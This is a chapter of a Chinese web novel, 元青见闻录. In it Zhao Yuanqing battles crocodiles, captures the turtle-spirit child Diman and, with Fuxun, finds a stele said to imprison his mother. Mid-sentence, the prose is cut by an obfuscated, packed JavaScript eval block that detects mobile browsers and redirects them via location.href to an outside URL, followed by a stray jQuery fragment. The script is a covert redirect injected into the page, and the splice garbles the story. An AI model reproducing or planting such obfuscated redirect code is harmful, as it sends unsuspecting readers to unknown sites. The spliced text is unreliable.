294. 佑山八
作品:《元青见闻录》 若是让陈小圆评价赵元青,她会觉得元青妹妹是一个各方面都无可挑剔的人,是非常好非常好的人,元青妹妹做的永远是正确的事,就算她不小心杀了人,也是那人主动碰瓷。
但若是让赵元青的徒弟,和她相处的最久的人评价。
元让蓝会说,赵元青是一个很强势的人,从前在琼州,所有的事情都是她在拿主意,搬去竹屋,让他上学,打猎,去沧州,救陈小圆,她不在乎旁人听不听,反正她要做。不理她也没关系,元让蓝能参与的部分很少,大概也就是一些针线活。所以,他们师徒在一起时,他一般都听师父的,主要不听也没用。
对于燕椿和来说,要分为两个阶段。她犹豫前,和她下定决心。
大概的分界线,是在淮州的船上。
她一定不晓得自己偶尔看旁人时,那种冷漠无情的表情有多么让人心惊,隐隐地,带着不耐烦和一些克制。
特别是第一次见面,他在屏风后时,他最害怕赵元青那样看着他。
她明明什么都没有,可是她看起来,好像天生就该拥有一切,若是不够好,或者不顺她的意,就会被她抛下。
但如今,她对他真的很好,也不会对他出现那样的眼神,这样他几乎忘了,从前的赵元青,是一个多么冷漠的人。
此时,他在水镜中,又看到了赵元青那种眼神。
燕椿和几乎瞬间绷紧身体,凝神屏息,大气也不敢喘一下,然后连忙安慰自己放松些,这不是对他,是对那把剑。她现在不会对他这样的。
他又乖又听话,她最喜欢他了。赵元青如今绝不会如此看他。
这剑不能要了。
——
赵元青才不管,她就是想要那个龟壳!
她抬手唤出另一把剑,先亲昵地蹭了蹭它,低声道:“好乖乖,许久不见了,想我没?”这剑身长三尺七寸,是重剑,没有任何锋芒,同体玄黑,脊有铭文。
“乖乖,来,帮我劈开——”赵元青突然闭嘴,草草道:“我忘了,好烦。”
她满脸不高兴盯着和青剑道:“剑的主要任务是听话,看在你名字的份上,这次我不同你计较,下次……”
“你在这里,对不对?”她按向自己下腹丹田右侧。
咔哒一声,盒子开了,阵法消散。
夫洵小步凑过来道:“赵元青,你刚刚好吓人啊,它在帮你开盒子呢。”
她挠挠头,捡了根草道:“夫洵,你看,草活着,是为了根植在大地上,剑呢,是为了配合主人。若是剑有自己的想法,就不再是剑了。”
和青剑萤芒渐消,她拎起盒子塞给夫洵问道:“这个会用吗?”
夫洵歪头想了想,点点头。
“那拿去玩吧,站远些。”
说罢她提起重剑朝水面的地蛮笑了笑。
地蛮死死地盯着那剑,和她,眼神来回挪移,突地钻入水中。群鳄瞬间扑向赵元青,她提剑杀上。
显然赵元青用这把剑更加顺手,也更加凶残,砍鳄如砍豆腐,但最怪的是被砍到鳄肢迅速崩解成泥,如同被碾压一样,砍完她提起重剑回头道:“夫洵,我去洗洗,你先在那里玩一会,明日我带你去取你从前的东西。”
夫洵一听,高兴地点点头。
说完赵元青钻入水中,这水腥臭,泥沙多不说,水下白骨累累,俱是鳄龟之类,她一剑斩碎扑来的四五只鳄后,闭目闭气刚沉在江底,六条巨鳄包夹扑上,重剑在手中嗡鸣,她踏着江底白骨跃起,重剑自下而上劈出半月弧,刃口激发的震荡波将鳄群拦腰截断。沉闷的斩骨使水面不断震荡,夫洵抱膝缩在变大的龟甲中,紧紧搂着自己一直盖着的皮毛。
赵元青是他第一个好朋友,他想帮她的忙。他会水的。
旁边的和青剑黯淡无光,夫洵努力想着自己接受的传承,突然眼睛一亮,拖着巨大的龟甲走到河边化身为小鹿,开始用新生的短角不断触击水面,水波形成巨浪,逐渐朝两岸卷去,如同被无形的斧刃劈开一般,漫过滩涂,树林,逐渐继续朝两侧席卷。
赵元青在水下一怔,她刚找到那小王八的洞府,正想钻进去,可水突然卷着浪打来,拍的她一晃。
里面地蛮躲在床上盖着被子瑟瑟发抖,这河中一共也不过百条鼍龙巨龟,鼍龙平日负责杀兽取丹,巨龟挖漕,如今他洞府内空无一兽。
突然,他被一只手拎起,地蛮惊惧缩脖大叫:“我母亲,我母亲不会放过你的!你放了我,我可以给你新的人藻!”
赵元青拽过他的鞭子拎着它飞出洞府上岸后连忙道:“夫洵,水放回去!”
夫洵立刻抬头惊喜道:“你回来啦!”
它的角一离开水面,巨浪顿时落下,拍打出雪一样的水花。
“嗯。”她拎着地蛮啪啪扇着它的头道:“变大,驮我过去。”
地蛮被扇得头晕眼花,它族并非普通的龟,头是缩不回去的,想躲都不行,只得恨恨瞪了她一眼,渐渐变大。
变到渐一丈长宽时,她用那个水草鞭子拴住它脖颈,如同驾驶马车一样,回头喊夫洵上来,他立刻拽着乱七八糟的东西上来抱膝坐好,笑呵呵道:“赵元青,我厉害吧?我会水。”
“厉害。”她拽着水草鞭子鼓鼓掌。脑内又出现地蛮的声音。
“把夫渚给我吃,你要什么,我可以让我母亲给你。”
“夫渚是什么?”
“是我呀,我族是麒麟的从属,擅水,我同你讲过的呀。对啦,这个给你。”夫洵仰头一笑,把和青剑递给她。
……赵元青不是很想接,草草拿过放到一旁,拽了拽那根水草鞭子道:“走吧。”
地蛮开始往水中爬去,很快,到对岸后,它重新变小,怒意十足道:“你完了,我母亲来了。”
天还没亮呢,赵元青也不急着走,等的就是他那位娘,闲着也是闲着,她继续扇地蛮的头,问道:“人藻是什么?”
夫洵悄悄凑过来道:“赵元青,我困了,我能睡会吗?”
“去龟壳里睡,把被子盖好,小玩具也搂着,别掉了。”她侧头嘱咐。
他开心一笑,重新钻入龟壳抱着被子睡,赵元青仔细检查了一下,见他还算听话,坐到一旁捏起它的吻问道:“你……按理说,不该吃血食。谁带你吃的?”
地蛮被捏得头高高仰起,它此时还晕得厉害,头被打得迷迷糊糊,缓了好一阵才答道:“大家都吃,这样长得快。灵气没有了。”
“为何没有?”
地蛮答不上来,闭口不言。
“人藻呢?人藻是什么?”
“人藻就是人藻,是有灵气的水草!”地蛮嘲讽一笑,好像在笑她连人藻都不知道,不过他也不知道,只听母亲说过,他也不担心会被杀,因为不会有兽傻到冒着被地鼋全族追杀的风险杀他的。
赵元青不杀他的原因很简单她不杀小孩,他要是没变成那个十二三岁的小孩,他现在已经死了。
因此,她决定等他母亲来,教她如何教孩子,该打还是得打一打,如果她不打,那她就得挨揍。
只是她等到日出,他那位娘都没来,地蛮脸色逐渐变白,赵元青的脸色也不好看,又过了一会,夫洵也醒了,他收拾好东西后惊奇问道:“你们怎么了?”
赵元青用力晃他:“你娘呢!你不是说你有娘吗?!”
地蛮变成小孩,抿了抿嘴怒气冲冲道:“我如何知道!我娘已经四百年没来看我了!”
“你多大?”她绝望问道。
地蛮歪头想了想,伸出食指和中指,之后又伸出无名指和小指,最后拇指在犹豫要不要伸出。
“那你爹呢?你不是……你是你爹的什么第几个小孩来着?”
“第六子!”
她迅速放下他,和蔼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441354|156408||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑道:“回去罢,谢谢你,这小鞭子也还给你。”
地蛮当她怕了,恶狠狠一笑,伸出手道:“那你还我鼍龙巨龟,还我金甲玄光阵,没了那些,我如何自保?”
还!肯定还!她立刻拿过夫洵那个龟甲递给他笑呵呵挥手:“去吧,去吧,这个还你了,待会你自己埋起来。”
“我的鼍龙呢?我的巨龟呢?”
“对岸呢,那不是么?你待会自己拼一拼。没准能接上几个。”
地蛮眼珠一转。
“我阵法如今已被毁,河中也无鼍龙巨龟,我回不去,回去也会被旁的兽吃掉。除非……”
赵元青根本不接话,这崽子比徒弟还坏,她回身笑呵呵嘱咐夫洵道:“夫洵,头发拢一下,咱们得走了,快和这小崽……孩道谢。”
“谢谢你。”他朝地蛮一笑,自己迅速拢好头发,插上树枝。
她立刻推着他朝林中走去,二人一直走到一处巨大山石处,这有些像是……碑,她见那有字一样的东西,指道:“夫洵,你认得吗?”
“认得。”夫洵点点头,仔细辨认后道:“写着罪鼋母子同囚于此,永——”后面一直跟着的地蛮冲出怒骂:“胡说什么!”
他死死盯着那碑,逐渐往下时到碑座时,脸色转为青白,突然扑过去用双手挖碑下的土,很快,他的手先是沾上泥,之后,手被石子划破,淡蓝色的血液流出,赵元青走过去拎起他道:“我给你挖。你老实点。”
她取过他那个水草鞭子栓好他后,看了眼夫洵道:“你离我近点。”
夫洵走到她身旁好奇问到:“赵元青,我也可以挖吗?”
“可以是可以,但暂时用不上你,想挖的话,你拿那把剑去旁边挖,别出这个范围。”她大概比划了一下山石内。
重新唤出重剑朝碑座下一插,大概估了一下碑石重量后伸出双手开始用力,可碑纹丝不动。
地蛮被绑着,挣扎哭骂道:“废物!你这个废物!这点小事都做不好,要你何用!”
她拔出剑绕着碑走了一圈,挠了挠下巴琢磨,这碑文……借了力。也不知借了哪座山的力,她竟然抬不起来。
地蛮这反应,看起来像是他娘在这底下,可这有些太歹毒了,真王八也不能让它驮碑啊,人家碑下,都是石王八。
“你娘在下面吗?你如何知道的?你老实说,我给你想办法。”她走过去拎着地蛮,带他到山石下问道。
对她来说,子救母是天经地义,走到哪里都说不出个错,是对的。那这件事就可以做。母亲多坏,如何不好,都要救。
地蛮全身打摆子,嘴唇哆嗦着道:“在,我就是知道。我娘不会被压在下面,我娘不会,我娘是神鼋府的君后,她不会,她不会被压在这里。”
他眼睛是红的,可眼泪淡蓝色,黏稠的,糊在脸上,显得有些怪异。她伸手摸了一下,又抓起他的手,仔细地看了看他的伤口。
……地蛮的眼睛中在流血。
“别嚎了!我想办法,把你眼泪收一收!”她又扇了扇他的头。
地蛮头晕眼花,晃了晃,随着她放手瘫倒在一旁。夫洵看起来有些想过来,他眼中也含着泪,可能是因为想起自己的娘。
“把你眼泪也收一收。”赵元青瞪了夫洵一眼,他立刻吸鼻子捂眼睛。
“夫洵,再帮我念一下这碑文。”
“上面写了名字,叫孽鼋母子碑,只写了罪鼋母子同囚于此,永不得赦。”
“旁的没有了吗?”她仰头仔细看。
“没有。只写了这些。”夫洵又有点想哭,若是他的母亲,被囚于离自己很近的地方如此久,他也会很伤心的。
她拎过夫洵,又拎过地蛮指着这碑道:“瞧见没?”
地蛮没反应,只盯着土中,夫洵点点头。
“没写什么事情,就是没犯错。”她自信说道。